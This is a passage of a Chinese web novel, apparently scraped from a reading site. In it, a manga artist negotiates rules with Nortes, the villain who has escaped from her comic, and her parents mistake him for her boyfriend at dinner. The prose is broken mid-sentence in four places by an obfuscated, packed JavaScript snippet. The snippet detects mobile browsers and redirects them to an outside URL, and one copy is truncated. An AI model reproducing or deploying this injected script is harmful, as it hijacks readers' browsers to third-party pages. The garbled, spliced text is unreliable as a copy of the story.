这不是添乱吗,本来以为对方的存在只有自己一个人知道,但他要是再这么闹下去,越来越多的人知道他,早晚有一天,她和他的联系也会暴露的。 诺特斯但凡有什么罪行——虽然他现在看起来还没犯什么罪,除了偷窃——说不定都会牵扯到她的头上,毕竟他是从她画的漫画里走出来的人,那是她笔下的人物。 这件事情如果真的不幸传播开来,广为人知,保不准上面会制定什么法律,规定说‘笔下的角色跑到现实中来顶风作乱,作者也必须承担连带的刑事责任’。 这叫什么,这叫无妄之灾。 她承认自己想得有点远,但不是没有这个可能。 “你给我老实一点。”庄森芽十分严肃,指着他的鼻子,“封麦,你给我封麦!” 诺特斯一副难办的表情,“不行啊,乐队已经安排了过一阵子要去巡回演出,钱都花出去了。哦,对了,我们也会来上茂市巡演,我记得在你们学校也有场次,不过那场应该算是公益演出,不收费。” 居然还要巡演?还在上茂哈里森大学有场次!? 疯了吧,这人做业务都已经做到别的国家来了?他有那么出名吗? 而且退一万步讲,这人从头到尾哪里看着像是个主唱? 头发动不动就像是个鸟窝一样乱糟糟的,肤色看起来就不像是个什么正经人,一身长款外套不离身,虽然款式总是在变;神出鬼没举止怪异,音色时而低沉时而轻佻,说是唱冥曲的还差不多,脾气也让人捉摸不定,全市都找不出第二个和他一样的…… ……呃,怎么感觉越形容,反而越贴切了? 他们搞艺术创作的好像的确是这样的。 因为庄森芽自己也是个染了一头白发的怪人,憋在屋子里赶稿的时候宛如有什么大病,连续几天不晒太阳,出门之后就变成了温暖的丧尸,精神一直在疯和不疯的临界值处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208449|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徘徊。 从外在上来看,他们的确都不怎么正常。 “……”她被自己的心路历程打了个沉默,半晌才朝对方张口,“你故意跑我们学校演出?” “是啊。”诺特斯毫无隐瞒地承认,“决定巡演场地的时候,我还没见过你,但是已经知道你要去上茂哈里森大学就读,所以想着借机会去找你。不过,后来出于一些原因,见你的行程提前了。” 然后就是他闯入女生宿舍那一幕,庄森芽可都记着呢。 “……你是不是……”刚想骂他,又收住了,心想没必要置气,把自己气出什么问题得不偿失,“……你早晚有一天都要回到漫画中去,做这些……当什么主唱,有什么意义吗?” 诺特斯理所当然,“难得来另一个世界,当然要做点什么。” “图什么?” “也不图什么……”他沉思片刻,“硬要说的话,因为好玩?” 庄森芽感觉自己的脸部在抽搐。 这家伙别是个混乱邪恶乐子人吧。 她深吸了一口气,平复自己过山车一样的心情,从一旁拽过纸笔,在上面奋笔疾书,把刚才那三个条件都列了上去。 “既然这样,第三个条件要变成:你必须向我报备你的所有行程。” 她唰唰几笔写完了,把纸张往对方眼前一亮,一副不容拒绝的态度。 诺特斯把那张纸从她手里抽出来,上面依次是三个条件,概括就是:不允许向任何人透露作者信息;不准突然出现;必须时刻报备行程。 诺特斯挑了挑眉,“你控制欲还挺强的。” 庄森芽一拍桌子,拿出气势,“怎样?” 他把那张纸放在桌子上,两手交叠放在身前,“可以答应你,不过我也有条件。” 他倒开始加码了,光是个完美结局还嫌不够,得寸进尺,脸皮真厚。 “不一定答应你,但你说说看。”庄森芽傲然地扬起脑袋。 “当你作画的时候,我会消失,大约一个小时之后才能再次在这个世界现身。”诺特斯讲述起了一些不为人知的细节,“所以,你在动笔之前也要向我报备,因为我也有自己的行程,凭空消失会给我的个人生活带来一些不小的困扰。” 他说得有模有样,好像真把自己当成这个世界上的什么正经职业人了。 庄森芽听到这个她最新得知的‘知识’,脑袋顿时飞快地旋转了起来。 这听起来好像是个可以利用的漏洞。 意思是说,只要她动笔画画,诺特斯就会从这个世界上消失一阵子? 这似乎能解释之前那次,在医院里,他突然消失的怪异场面。 诺特斯居然把这么重要的事情直接告诉了她,不知道这人是蠢还是有绝对的自信。 庄森芽面色不怀好意,“也就是说,我只要一直画,不停画,你就会始终处于‘失踪’的状态?” 诺特斯一时没说话,从转椅上坐直了,拉近与庄森芽的距离。 他拽过那张写满了条件的纸,在手里团起来,捏在掌心里吱嘎作响。松开手的时候,纸张居然已经不见了,一注灰色的粉末从他掌心流沙一般洒了下来。 顿时,周围的空气似乎都充满了低压的威胁气息。 “我劝你别动什么歪心思。”刚才轻松融洽的氛围已经全然不见,硝烟再度弥漫,诺特斯笑得阴沉,“除非你不打算闭眼睡觉。否则你只要停笔一个小时以上,我就会回来找你。” 显然,他这个找你并不只是单纯‘找’这么简单。 威压之下,庄森芽蹭一下子站起来,离开了对方气势压迫所及的范围。 她退到了房门口,摆出一副不惧的模样,试图掌控话语的主导,“好,到现在基本可以达成共识了。你不给我添麻烦,那么我也不给你添麻烦。” 压迫只持续了很短暂的时间,一旦条件谈拢,话语和谐,那股漆黑浓郁的气息就消失了。 诺特斯从转椅上转过来,笑眯眯看她,“很高兴我们的洽谈顺利。” 37. 误会开始的地方 “再重述一遍。”庄森芽强调自己的要求,也重复他的,“你我互相报备行程,有任何行动要提前通知。你不准透露我是作者,我也就不会把你画死。” “没有异议。” “好,既然达成了这一步共识,那我们来算算旧账。” 诺特斯扬眉,他重复:“旧账?” 庄森芽朝他伸出一只手去,“把我的笔记本电脑还给我。” 她当然不会把这件事忘了。 大约两周之前失去电脑到现在,她就像是个乞丐似的东借西借,画画时要借学生会活动室,上课时要借同桌的电脑用,搞定作业时要借舍友的,东拼西凑的,舍友都问她最近生活是不是遇到了什么困难。 诺特斯像是才想起来这么回事似的,恍然大悟,“可是它已经坏了。” 庄森芽瞪大了双眼,“你说什么?” “我嫌带回国太麻烦,就把它藏在你宿舍楼下的花坛里,结果下雨被水浇了。” 她几乎尖叫,“你是不是有——谁会把笔记本电脑放到花坛里啊?!” “别急嘛。”诺特斯看起来一点愧疚感都没有,“我还有一台,我把我的给你。” “我那台很贵的,专门针对图像处理做了升级,不是随随便便什么笔记本电脑都可以!” “配置什么的我不懂,”诺特斯说,“不过我那台是朋友送的,他说市场价六万。” 庄森芽眨眨眼,结巴了一下,“多、多少?” “六万。” “日元?” “人民币。”诺特斯摆弄了一下手指,像是在计算什么,“原价欧元七千多。是这个汇率,我没算错吧?” 庄森芽闭麦三秒,“……没有。” “你要吗?”诺特斯问,“不要的话,我再去买一台别的型号——” “不用!”情急之下没控制好音量,庄森芽咳嗽了一声,有欲盖弥彰的嫌疑,脸上却摆出不在乎的神色,“这个就行,听起来勉勉强强能用。” 六万块的笔记本,她倒要看看是什么货色。 诺特斯扬起一个笑容,连眼睛都弯了起来。 那视线仿佛把庄森芽看穿了一样,弄得她有点难堪。 “电脑在国内——”诺特斯解释,“——我的意思是指希腊。明天给你拿过来,碰面的地点就在施工楼吧。” 提到施工楼,庄森芽有点犹豫。 她还记得自己在那里经历过什么,两个校外人士尾随她,对她图谋不轨,虽然最终什么也没发生,但多少都留下了点阴影。 “害怕了?”诺特斯的声音响起。 抬起头,看到他在玩味地盯着自己,庄森芽立刻换上一副无所谓的表情,“怎么会。施工楼是吧,几点?” “距离有点远,我恐怕晚上才能到……就十一点吧。” “十一点,也太晚了。”庄森芽不太赞成。 十一点宿舍的楼下大门都关了,路灯都熄了,施工楼距离宿舍又有一段距离,大晚上走夜路可是很吓人的。 这时候,诺特斯突然毫无缘由地站起来,走近庄森芽,把她逼在门后的角落。 男人的动作很突然,庄森芽抬头,不甘地盯着他,一边在心里骂这人行为总是没有预兆,一边骂他混蛋,吃什么长大的,长这么高。 她本身也不算矮,走在人群里很少有视野不良的时候,更别提仰视过什么人,因为从来没有这个身高的人离她这么近过。 诺特斯俯视着不屈的人儿,脸上挂着轻笑,声音也放缓了,“没关系,不用害怕,到时候我会照顾好你的人身安全。” 这话听得庄森芽一阵胆寒。 一个大反派在这冠冕堂皇地说什么呢,他难道不知道自己才是那个‘危险’吗。 “别说的自己像个好人一样。”她十分鄙夷地说了一句。 诺特斯不落下风,“别误会,只是因为你出了什么意外的话,我会很困扰。” 庄森芽推了一把他的肩,试图给自己创造出自由的活动空间,“好了,事情都聊完了,从我家里离开。” 这时候,敲门声在离他们极近的地方响起。 “芽芽!饭做好了,带着你朋友出来吃饭吧。”是祁母的声音。 “他不唔唔——” 庄森芽刚想说“他不吃了”,就被对方捂住了嘴。 诺特斯冲着紧闭的门,“我们这就出去。” 挣开了对方的手,庄森芽怒问:“你还想干什么?” “做饭也有我的功劳,起码让我吃完饭再走。”诺特斯把门敞开,自顾自地走了出去,一点也没把自己当外人。 庄森芽追出去,看到母亲笑呵呵的把人迎到了座位上,这时候再拆台就有点太破坏气氛了,主要是她也不想让老妈再生气。 忍一时风平浪静。庄森芽不停给自己下达心理暗示。 她也走到饭桌边上,一屁股坐下去。本来诺特斯是想坐在祁欢旁边,却被庄森芽挤到了一旁。 他把凳子挪了挪,没抱怨什么,坐在了菜最少的一角。 桌上摆着热腾腾刚出炉的饭菜,有刚才祁欢所说的麻婆豆腐和可乐鸡翅,另外还有几道硬菜,周围摆着些凉菜和几种主食。 扫视一圈,发现这些东西四个人都吃不完,庄森芽有点疑惑,“妈,怎么做这么多?” “你爸等一下要带着患者回来,他说他没吃饭,我就多做了点,万一患者也想吃点东西呢。” “哦。”难怪呢。 他们一家所住的公寓虽然小,但是房间布局很合理,利用率很高,除了两间卧室之外,还能额外腾出来一间做工作室。 她父母偶尔会把患者接到家里来,为他们提供后续医疗服务,包括检查仿生部件与身体之间的排异情况,以及部件的老化程度等等。 本来这些工作是应该在公司完成的,但是公司换了地址之后电费太高,为了省钱,夫妻俩不得不把一部分带回家里来做。 祁欢为三人各自盛了一碗白米饭,又拿一个空碟子夹了几样菜出来,送到诺特斯的面前。 庄森芽看着十分不爽,也不知道在自己回家之前诺特斯到底对老妈说什么了,老妈居然对他这么好。 虽然气愤,但也没说什么,毕竟祁欢的性格是什么样她最清楚不过,对待有困难的陌生人从来都是毫不吝啬,更别说一个刚刚被自己女儿亲手揍过的看起来挺无辜的外国一男的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208450|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 从庄森芽小的时候开始,家里就总是有些陌生的脸孔,那些大多都是接受过这对夫妻俩好意的伤患,有的人没钱,他们就自己垫付费用,即便这样也要提供最先进妥当的治疗。 夫妻俩人性格就是这样,不然也不会凑到一起去。 “诺特斯,头还疼吗?”祁欢问。 男人摇摇头,礼貌一笑,“没什么感觉了。” “多吃点东西,伤口好得快。” “就算不是因为受伤我也会吃很多。”他说,“因为这样令人惊叹的厨艺实在少见,将来不一定还能品尝到。” 庄森芽在一旁暗中点评:这时候把国外夸人那套搬到台面上来了,简直惺惺作态。 “哎呀,真会说话。”祁欢有点不好意思地笑起来,“你想吃就告诉芽芽,我叫她给你带。” 庄森芽听了眉头紧皱,叫她给他带是什么意思,为什么说得好像他俩很熟一样,老妈把他当成她的什么人了。 “如果哪天我十分怀念这个味道的话,我会和她提的。”诺特斯说。 庄森芽瞪着男人。 你在这接什么话呢?! “我们家芽芽性格平时不是这么暴躁,最近可能开学压力大,要忙的事太多了。” “嗯,我能理解。” “新换了个环境,她身边没有熟悉的人,我们也因为工作上的事情脱不开身,没办法像高中那样天天陪她,她身边要是能有个可以依赖的人,我们也能放心许多。” “我会尽力。” “不是,”庄森芽来回看着自己的母亲和诺特斯,“你们两个说什么呢?” 她怎么越听越不对劲。 祁欢放下碗筷,语重心长的对自己的女儿说:“宝贝,时间长了你会知道包容的重要性。别看我和你爸现在关系好,年轻的时候也吵得不可开交,就车载音箱上到底该放谁的歌这种小事,我们都能争得面红耳赤,恨不得因此老死不相往来。但过了那段容易冲动的年纪,就会发现有一个人一直在身边陪伴是多么值得庆幸的一件事情。” 嘴巴渐渐大张,庄森芽吓得筷子都要掉了,“妈,你该不会把这家伙当成我男朋友了吧?” “不是吗?”祁欢疑问。 “不是!” 年长者看了一眼在旁一字不说的诺特斯,而后随和地顺着庄森芽的话说:“你说不是,那就不是吧。” 虽然祁欢表面上这么说,可她表情看起来十分有自己的想法,并不相信正处于谈恋爱年纪的女儿的辩驳。 看对方挤眉弄眼的样子,庄森芽就知道老妈不信她的话,内心不由哀嚎:真不是啊! 她随即转向诺特斯,怒目而视。 当事人正悠闲地吃着饭,一点站出来反驳的意思都没有。 “你说点什么啊?”庄森芽抽走了他的筷子。 诺特斯空举着手,嘴里还在不急不缓地咀嚼,他动作慢条斯理的,宛如什么拿腔做调的贵族绅士一样,“我和她的确暂时还不是那种关系。” 庄森芽听完要气炸了。 暂时不是那种关系?啊?偏偏加个‘暂时’是什么意思?! 现在他们不是,将来也不会是! 38. 自然而然 这人会说话吗,他是不是汉语没学好啊?! 让别人误以为他俩是一对,对他来说有什么好处? 诺特斯说完了就直勾勾盯着她手里的筷子,眼巴巴地等着她还回来。 庄森芽怀疑如果不是祁欢在这里,他已经动手上来抢了。 呸,这个表面一套背后一套的败类。 报复的坏心眼冒了上来,她打算假装不小心把筷子扔到地上,让他灰溜溜地自己捡了去洗,可动作还没做到一半,公寓门口突然传来了开门声。 外面走进来了两个人,其中一个是庄森芽的父亲庄洪成,眼角和额头的皱纹彰显出了他的年纪,灰白的头发透露出他的操忙,他穿着一身藏蓝色西装,像是刚开完什么会回来。 庄洪成还架着一个人,而这个人对庄森芽来说就有点脸生了。 “小心点,这有一个台阶。”庄森芽的父亲对身边的人说。 陌生人一手拄着一根拐杖,另一只手搭在庄洪成的肩上,他看着快七十岁了,但依然容光满面。老者表情不太好意思,“洪成,都怪我拖了太久才来找你,腿动不了了才想到可能是部件老化了。这修起来要不少钱吧?” “没多少,比重新装一个要少多了。”庄洪成说。 见到两人,祁欢站起来迎上,把患者的拐杖接了过去,扶着老者的胳膊带着他往前走,“她爸,要我帮忙吗?” 庄洪成:“他这个有点麻烦,可能要拆卸再重装,来帮我一把吧。” 两人架着老者往工作间走,来到了客厅里,庄洪成这才看到饭桌上的人。 “呦,闺女从学校回来了啊。” “爸。”她喊了一嗓子。 庄洪成很快看到了桌上另一个人,脸上闪过困惑的神色,朝祁欢问:“今天约了别的患者吗?” 祁欢低声冲他说:“那不是病人,是芽芽的男朋友。” “男朋友?”庄洪成重复这个词。 祁欢连连点头,声音压得更低,“我估摸着是闹了点小别扭,在玩关系不熟的戏码呢。” “噢——”庄洪成拉长了声调,也小声地冲自己老婆说,“行啊,我女儿,上大学才几天就找了个外国男朋友。” 祁欢:“是吧,我家宝贝可能耐了。” “小伙子人怎么样?” “才说了几句话,但我感觉人挺不错的,挨打也不还手。” “可以,脾气好,不暴力。”庄洪成称赞。 “而且还会帮忙做饭。”祁欢说。 “会做饭好啊,将来芽芽饿不着了。” “真挺不错的,我感觉可以继续发展……” 两人嘀嘀咕咕的,架着患者走进了工作间。 庄森芽没听清他们说了什么,却隐隐觉得应该不是什么自己想听到的内容。 饭桌上只剩下她和诺特斯两人,她依然抓着对方那双筷子,与他僵持着,没有还给对方的意思。 诺特斯盯着盘子里的炒青菜,视线连挪都不挪,就朝庄森芽的方向伸出手。 她以为他要来抢筷子,把筷子举得老远,不给对方一点机会。 然而诺特斯的目标并不是自己原本的餐具,他手腕灵巧地一转,就那么把庄森芽摆在饭碗上的筷子摸走了。 她还没反应过来怎么回事,就见诺特斯一脸淡然地用她的筷子继续夹菜。 “你……”庄森芽张口结舌。 离谱,这人一点边界感都没有吗?那是她用过的东西啊! 看他握筷子的手法倒是挺标准的,可惜有用的东西他是一个没学。 不光汉语没学好,连文化精髓看起来也是一点没掌握,真是隋爹给他儿子开门,随性到家了。 手里握着对方的筷子,庄森芽愣是原地坐了好几秒,这才愤愤地把它们甩在桌子上,又去厨房拿了一双新的出来。 感觉被对方摆了一道,但饭不能不吃,又嫌弃用对方用过的餐具。 这个瘪,她只能吃。 刚坐下,就听见一旁的诺特斯开口。 “你家是做什么的?” 庄森芽瞥了他一眼,没什么好气地回答:“你知道我家在哪,却没调查过别的?” “调查肯定是调查过。”诺特斯毫不隐瞒自己地恶劣行径,语气大言不惭,“但我想听你怎么说。因为在我看来,好像做的都是些吃力不讨好的事。” 本来不想向对方解释,但一听男人把他们家公司的业务说得那么惨淡,就不由得想要纠正对方的印象,“像你这样的人是无法理解的,有些事情得不到回报也要去做。” “是吗?” “当然了。” 就算只能住在有点拥挤的小公寓里,庄森芽也从来没有埋怨过父母的决定,她知道两人的事业对他们来说有多么重要。 光曙公司是家仿生器械研发公司,也有面向患者的治疗和回访部门。它从建立之初,就是为了救治那些残疾人或者器官衰竭的患者,帮助他们有朝一日能够恢复正常人的生活。 庄森芽的父母一开始也没指望靠这个发家致富,仿生器官及部件的价格压得很低,后续维修也几乎不要钱,涉及到开腔手术的直接转交医院走医保,整套下来一般家庭都能够承受。 慢慢做着做着,口碑建立了起来,顾客越来越多。被人注意到之后,出现了天使投资人,于是公司扩招,进一步研发各类仿生器械,盘子越滚越大,最后居然也成为了一家具有极强行业影响力的大公司。 而就在一切向好的时候,仿生器械最重要的原材料——纳米材料钑——的价格飙涨,导致成本大幅度增加。夫妻两人不愿意涨价,一直在亏本经营,部分投资人因此和他们产生分歧撤股,公司情况每况愈下。 他们也不是没有考虑过寻找其他原材料替代,但人体自带的免疫系统一直是一个难以攻克的课题,只有用‘钑’才能制造出仿病毒细胞,绕过免疫系统,防止仿生部件与人体产生排异反应。 也曾经和钑的原材料供应商沟通过价格,但是供应商所属的腾滨集团并没有在价格上做出半分让步。 所以,夫妻两人只能尽量节省开支,起码维系着公司的正常运营,并且尽量不耽误患者们的治疗。 问这一切是吃力不讨好吗? 当然不是。 且不说有多少家庭感激这对夫妻,庄森芽也曾见过许多患者的笑脸,她知道那是世上不可多得的宝藏。那虽然与她个人的利益无关,但只是见到患者重新找回自信,就像见到花盛开,流星闪过,群马奔驰,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208451|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是令人感到内心无比雀跃。 不过,这样的感情,诺特斯是不会懂的。 恶人看不到世界上的美好,所以才会不在乎地破坏它们。 想到这里,庄森芽鄙夷地看了诺特斯一眼,“我们家就是专门救治那些被你这种人穿透胸膛、打断四肢的受害者,即是说,你在我家根本不受欢迎,所以吃完这顿饭就立刻离开,别在我妈眼前晃悠,说些莫名其妙的话。” 诺特斯夹了一个鸡翅到碗里,棕黄色的酱汁粘在米饭上,他先吃了口染上鲜味的饭,这才慢悠悠回应庄森芽的话,“照你这么说,如果没有我这种人的话,世界上就没有伤残者,你们家的业务不就做不下去了?” 靠,什么歪理邪说。 庄森芽不由得在心中骂街。 果然恶人就是恶人,脑回路都自成一派,把他当成正常人交流是她的不对。 “你还有理了?” “嗯哼。”诺特斯发出不以为意的声音。 一根鸡翅下肚,诺特斯的饭碗已经空了。他瞥了眼庄森芽的,目光直勾勾盯着她碗里的米饭。 庄森芽看看他,又看看自己几乎没怎么动的一碗白米饭,她明白过来是怎么回事了。 介于对方刚才直接抢她筷子的举动,她丝毫不怀疑这个男人还能做出更冒犯的事情,于是把饭碗往自己身前挪了挪,护食一样用手臂挡着,“你休想。” “你家的碗太小了。” “你长这么高怪谁?” “我没吃饱。”诺特斯盯着她,仿佛她有义务为这个现状做些什么似的。 “我家不是饭馆,没有无限续餐的服务。”庄森芽说。 “电饭煲里还有米饭吗?” “我怎么知道?” 话说到这里,诺特斯站起来,捧着饭碗就往厨房走。 看他不需要指导就跑去给自己添饭的模样,庄森芽不仅疑惑起来,这家伙怎么这么熟练,到底是蹭了多少人家的饭? 她怎么不知道诺特斯还有个饭桶的属性,连米饭都吃得这么香,是这辈子没吃过点好的吗? 《灵月十四》里对方平时饮食如何她是一点也不知道,毕竟没人会去思考一个反派成天吃什么——或许有,但她不是那类作者。 而男人在希腊的经历庄森芽更是一点也不了解,不过她听说那地方的伙食在欧洲算是不错的了,怎么诺特斯还是一副没见过世面的样子? 半晌之后,男人端着一碗热腾腾的白米饭回来,他单手托着它,往庄森芽眼前一递,“喏。” 她不解,“什么意思?” “换一下。” 庄森芽盯着对方手里的碗,“你投毒了?” “怎么会。”他轻笑一声,像是她说的话有多不可理喻似的,“只是你碗里的已经凉了。” 庄森芽皱眉,感觉有点起鸡皮疙瘩,被抵触的人关照的感觉可有够差的。 “装什么好心。”她翻了个白眼,嘴里嘀咕。 “倒也不是。”诺特斯解释,他坐下来,“我习惯吃冷食。” 嚯,感情好,说来说去还是为了自己。 就不该认为他会有一丝善心。 “不换。”她果断拒绝。 烫死你个猫舌头。 39. 还在演 诺特斯也没再坚持,捧着碗边吃边说:“说回刚才的话题,现在我大概理解了你们家坚持经营公司是为了什么,可还是有一点让我很疑惑……纳米材料钑在欧洲的价格并不高,你们没想过进口吗?” 听他这么说,庄森芽扬了扬眉毛。 倒是对她家公司的情况很了解,这到底是做了多少功课? 为了打探作者的底细,居然能做到这个份上,他也是有够拼的。 “你这么关心我家公司的事是想干什么?”她带着戒备问。 “交流一下经验,我好歹也算是个……嗯,在你们的世界里应该叫企业家吧。” 诺特斯的确在《灵月十四》中经营着许多工厂,掌握着石剑醇相关的产业链,手底下除了那些披着异教斗篷的邪恶势力以外,还有许多给他打工的普通人。 “材料进口走不通。”庄森芽丢下这么一句,不打算解释太多。 一是她不太了解相关政策,“进口这条路走不通”只是从父母那里听说的;二是不想和对方聊太多,这又没什么好处,让他吸取经验然后回去把事业做得风生水起,然后坑害更多人吗?肯定不行。 虽然《灵月十四》剧情怎么发展掌控在她的笔下,但说实话,她掌控得没那么牢靠,人物和故事总是有自己的想法,她只是个初出茅庐的小画师,没有把控宏大世界观的能力。 或许诺特斯回去就会暗箱操作一番,让她画着画着就圆不上了,发现必须给他在莱王星的南大陆也开几家工厂之类的,都说不定。 不过话说回来,他回到漫画之中后,还会有自主意识吗? ……这也是个深奥的课题。 总之,宁可信其有不可信其无吧。 诺特斯用筷子点了点碗边,发出清脆的声响,还在不厌其烦继续刚才的话题,“进口走不通是什么意思?” “就是走不通。”她拒绝透露更多信息。 “是上茂市政府出了什么限制进口的政策?” “不知道。” “唔,不对,上茂市不临海,材料要走水路运过来,涉及到海关的话理应是国家干预吧……”他自言自语似的说。 庄森芽低头干饭,半个字不接。 “那是本地相关医疗行业不允许使用进口材料?”诺特斯又问。 “不了解。” “进口材料被其他公司垄断了?” “你好烦。”庄森芽拔高了音量,不禁疑惑他问这么多图什么,真是有闲心,还有心情钻研一个异界的经济政策,“我都说了,我不知道。” 这时候,工作间的门开了,庄洪成从中带着一阵风走出来,似是要去门口干什么。 他大抵是在工作间内听到了外面的交谈,路过餐桌的时候,接上了刚才诺特斯的话,苍劲浑厚的声音响起,“你猜得没错,材料的确是被垄断了。” 诺特斯转过身去,朝还没说过话的人点点头,模样看起来彬彬有礼,“您好,先生。” “小伙子对我们公司很了解嘛。” “之前在网上看过一些资料。” 小伙子……? 庄森芽斜睨了诺特斯一眼。 这家伙多大来着? 这话由她这个作者问出来显得有点不着调,可是不能怪她,当年定人设的时候诺特斯那一栏就一行描述:「占据了所有候鸟山工厂的邪恶大反派」,除此以外什么都没有。 从外表上看,他脸上没皱纹,也一点稚气都没有,年龄猜测可能是在二十到三十岁之间,再具体就不好说了,她对外国人的脸没什么概念。 小伙子这词把他形容得像是什么天真纯粹的男大学生一样,这可有点……不论年纪如何,这个词汇怎么看都和他的气质一点也不搭边。 庄洪成走到公寓门口,把门关的柜子打开,在里面翻找着工具,和诺特斯继续攀谈,“政府只给了一家企业材料钑的进口许可,我们公司只能从他家进购。” 诺特斯:“没有人站出来抗议吗?” 庄洪成笑了一下,其中有些许无奈,“材料钑的应用场景本身就不多,我们的仿生器械公司算是一个大头。其他行业零零散散的需求很少,就算材料进购成本过高,他们咬咬牙也就挺过去了。” 诺特斯侧坐过来,一手搭在椅背上,面朝着庄洪成,这个动作刚好也让他整个人冲着身边的庄森芽。后者顿时感觉如芒在侧,好像自己一举一动都被对方盯着,感到有点难受。 “垄断材料的企业叫什么?”诺特斯问庄洪成。 “腾滨集团。” “涨价是因为材料供应不足?” “不是。”庄洪成终于翻到了一个卷尺,拿着它往工作间走,“说来话长,他们集团的董事长和我们可能有点小过节。” “噢。”诺特斯了然,结论一般说道,“被针对了。” 话题告一段落,庄洪成走到庄森芽所坐的椅子背后,手搭在女儿的肩上,“芽芽,爸今天有点忙,等一下还要再出去,不能陪你们了。” “吃口饭再走呗。”庄森芽说。 “不了,我给患者量一下仿生义肢的长度,没问题之后,还要带他去正规的合作医院更换一下连接处的零件。” “好吧……” “找时间再带着人过来啊。”庄洪成语气颇为热情,“下次我好好款待。” 没等庄森芽反应过来这是在说什么,就听诺特斯开口。 “您抬爱了。” 庄洪成摆摆手,那意思仿佛在说不用这么客气,他离开餐桌,一头扎进了工作室。 餐桌上,这才反应过来的庄森芽又开始瞪视诺特斯。 这家伙什么好的不学,倒是入乡随俗把那些客套话画学得挺精。 而且他又自然而然地扮演奇怪的身份了。 “我说你,能不能别在我爸妈面前装得好像我俩有点什么似的。”庄森芽毫不客气,语气直白。 “气氛都到了。”诺特斯扬言道,“特定环境下,角色扮演是人的天性。” 什么玩意乱七八糟的。庄森芽在心中吐槽。 这时候,工作间的门又开了,夫妻俩走出来,中间还是架着那个老人,他一条腿是仿生义肢,另一条看上去完好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208452|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那条假的似乎还不能动,于是庄洪成跑去把拐杖拿了过来,让老人撑着。 三人步履缓慢地来到公寓门口,祁欢似乎也要跟着去医院,临走前,她对庄森芽嘱咐说:“和朋友在家好好玩,用火用电什么的都小心点,打车回学校的时候让司机开慢点啊。” “知道了,妈。” 她回应的时候,突然感觉自己的肩膀被搂住。 低沉又带有金属质感的嗓音在身侧响起,由于太近,那声音就仿佛在她耳旁弹奏一般。 “您二位放心,我会平安把她送回学校。” “哎呀,真可靠。”祁欢比了个大拇指,身影消失在大门后。 庄森芽头皮发麻地忍了两秒,因为不想让老妈看到的最后一幕是她殴打男人的场景。 几人一走,她立刻抡起胳膊肘就往后怼。 “你玩上瘾了是吧!?” 诺特斯立刻松开了她,歪嘴一笑,露出虎牙,“之前没看出来,你脾气还挺暴躁的。” 庄森芽抄起自己的筷子,像小刀一样握在手中,“那是你没见过更暴躁的。” “务必让我见识一下。” 她拿筷子指着他的脸,“刚才那一下没让你长点教训吗。” 诺特斯眨眨眼,然后伸手往自己的额头上摸,像是这才想起来这回事,“你不说我都忘了。” 他找到胶条的边缘,指尖一勾,让它翘起一个角来,之后把整块纱布都揭了下来。 他掀起自己的额发,平整的额头上一点伤痕也没有。 庄森芽看到这一幕,内心直呼邪了门了。 刚才她明明把他的头打破了,还流了血,怎么伤口这么快就愈合了? 看着庄森芽一会变一个模样的脸色,诺特斯像是觉得好笑似的,眼睛都弯了,“怎么是这副表情,我能做到什么程度你不是很清楚吗。” 不不不,她可没给过他这么逆天的能力设定。 “你怎么做到的?” “你还真是对我一知半解啊。” 庄森芽不善地盯着对方,表情像是在说有话快讲,别磨磨蹭蹭。 男人也没藏着掖着,大大方方解释起来。 “我的能力的基础定义是,在隐身状态下可以无视物理规则。”诺特斯游刃有余,像是有种自信,即便向别人透露了自己的本领,别人也奈何不了他,“‘无视物理规则’这句话包含的可就广泛了,让肉|体突破自然规律、加速复原也算是其中之一。” “……难不成你要说你是无敌的。” “接近吧。”诺特斯笑眯眯的,“不这样怎么做你笔下的头号反派呢?” 难搞。庄森芽在内心评价。 刚才留下的伤痕已经全都不见了,他看起来就像是个没事人一样,难怪被打的时候躲也不躲。 而此刻,之前的一个谜题也得以解开。 她曾经为了不让诺特斯出现而把他画得伤痕遍布,可是在驻马山树林那次,他却又毫发无伤地现身了。 现在看,当时他应该也是动用了自己的特殊能力。 真的难搞。 40. 告一段落 